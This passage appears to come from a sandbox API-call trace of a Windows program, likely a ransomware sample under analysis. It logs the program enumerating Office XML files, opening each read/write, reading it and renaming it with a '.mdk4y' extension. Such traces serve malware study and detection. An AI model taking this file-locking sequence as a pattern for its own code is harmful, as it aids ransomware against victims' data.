lpNumberOfBytesRead=0x37df4c*=0x165d6, lpOverlapped=0x0) returned 1 [0233.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830869400000) returned 1 [0233.464] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830869400000) returned 1 [0233.465] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL065.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl065.xml.mdk4y")) returned 1 [0233.467] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.467] AreFileApisANSI () returned 1 [0233.467] GetACP () returned 0x4e4 [0233.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL075.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL075.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.467] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.468] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830869800000) returned 1 [0233.468] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xacb30, lpOverlapped=0x0) returned 1 [0233.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830876400000) returned 1 [0233.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830876400000) returned 1 [0233.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL075.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl075.xml.mdk4y")) returned 1 [0233.553] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.553] AreFileApisANSI () returned 1 [0233.553] GetACP () returned 0x4e4 [0233.553] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL077.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL077.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.553] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830878400000) returned 1 [0233.554] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6134, lpOverlapped=0x0) returned 1 [0233.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830878600000) returned 1 [0233.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830878700000) returned 1 [0233.557] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL077.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl077.xml.mdk4y")) returned 1 [0233.559] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.559] AreFileApisANSI () returned 1 [0233.559] GetACP () returned 0x4e4 [0233.559] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL078.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL078.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.559] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830879000000) returned 1 [0233.560] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x753, lpOverlapped=0x0) returned 1 [0233.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830879700000) returned 1 [0233.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830879700000) returned 1 [0233.567] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL078.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl078.xml.mdk4y")) returned 1 [0233.568] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.568] AreFileApisANSI () returned 1 [0233.568] GetACP () returned 0x4e4 [0233.568] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL081.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL081.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.568] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830879900000) returned 1 [0233.569] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe944e, lpOverlapped=0x0) returned 1 [0233.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830884400000) returned 1 [0233.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830884400000) returned 1 [0233.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL081.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl081.xml.mdk4y")) returned 1 [0233.623] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.623] AreFileApisANSI () returned 1 [0233.623] GetACP () returned 0x4e4 [0233.623] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL082.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL082.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.623] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830885500000) returned 1 [0233.625] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x38d3a, lpOverlapped=0x0) returned 1 [0233.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830892100000) returned 1 [0233.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830892100000) returned 1 [0233.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL082.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl082.xml.mdk4y")) returned 1 [0233.695] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.695] AreFileApisANSI () returned 1 [0233.695] GetACP () returned 0x4e4 [0233.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL083.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL083.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.695] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830892600000) returned 1 [0233.696] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8cda, lpOverlapped=0x0) returned 1 [0233.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830893200000) returned 1 [0233.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830893200000) returned 1 [0233.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL083.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl083.xml.mdk4y")) returned 1 [0233.704] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.704] AreFileApisANSI () returned 1 [0233.704] GetACP () returned 0x4e4 [0233.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL086.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL086.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.704] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830893600000) returned 1 [0233.706] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xab732, lpOverlapped=0x0) returned 1 [0233.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830897600000) returned 1 [0233.746] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830897600000) returned 1 [0233.754] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL086.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl086.xml.mdk4y")) returned 1 [0233.756] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.756] AreFileApisANSI () returned 1 [0233.756] GetACP () returned 0x4e4 [0233.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL087.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL087.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.756] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.758] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830898800000) returned 1 [0233.758] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13d8, lpOverlapped=0x0) returned 1 [0233.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830900200000) returned 1 [0233.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830900200000) returned 1 [0233.773] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL087.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl087.xml.mdk4y")) returned 1 [0233.776] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.776] AreFileApisANSI () returned 1 [0233.776] GetACP () returned 0x4e4 [0233.776] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL089.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL089.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.776] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.777] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830900700000) returned 1 [0233.777] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb532, lpOverlapped=0x0) returned 1 [0233.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830904000000) returned 1 [0233.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830904000000) returned 1 [0233.811] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL089.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl089.xml.mdk4y")) returned 1 [0233.813] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.813] AreFileApisANSI () returned 1 [0233.813] GetACP () returned 0x4e4 [0233.813] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL090.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL090.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.813] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830904400000) returned 1 [0233.814] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x124b2, lpOverlapped=0x0) returned 1 [0233.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830911100000) returned 1 [0233.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830911100000) returned 1 [0233.882] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL090.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl090.xml.mdk4y")) returned 1 [0233.884] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.884] AreFileApisANSI () returned 1 [0233.884] GetACP () returned 0x4e4 [0233.884] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL092.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL092.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.884] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830911500000) returned 1 [0233.885] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19a22, lpOverlapped=0x0) returned 1 [0233.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830912400000) returned 1 [0233.894] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830912400000) returned 1 [0233.896] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL092.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl092.xml.mdk4y")) returned 1 [0233.897] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.897] AreFileApisANSI () returned 1 [0233.897] GetACP () returned 0x4e4 [0233.897] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL093.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL093.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.897] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830912900000) returned 1 [0233.899] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb3da, lpOverlapped=0x0) returned 1 [0233.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830914600000) returned 1 [0233.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830914600000) returned 1 [0233.916] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL093.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl093.xml.mdk4y")) returned 1 [0233.918] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.918] AreFileApisANSI () returned 1 [0233.918] GetACP () returned 0x4e4 [0233.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL095.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL095.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.918] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.919] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830914900000) returned 1 [0233.919] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a1e8, lpOverlapped=0x0) returned 1 [0233.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830915100000) returned 1 [0233.921] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830915100000) returned 1 [0233.923] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL095.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl095.xml.mdk4y")) returned 1 [0233.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0233.924] AreFileApisANSI () returned 1 [0233.924] GetACP () returned 0x4e4 [0233.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PGLBL096.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="PGLBL096.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0233.924] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0233.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830915500000) returned 1 [0233.925] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19ede, lpOverlapped=0x0) returned 1 [0233.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830918400000) returned 1 [0233.954] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1830918400000) returned 1 [0233.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl096.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL096.XML.mdk4y" (normalized: "c:\\program 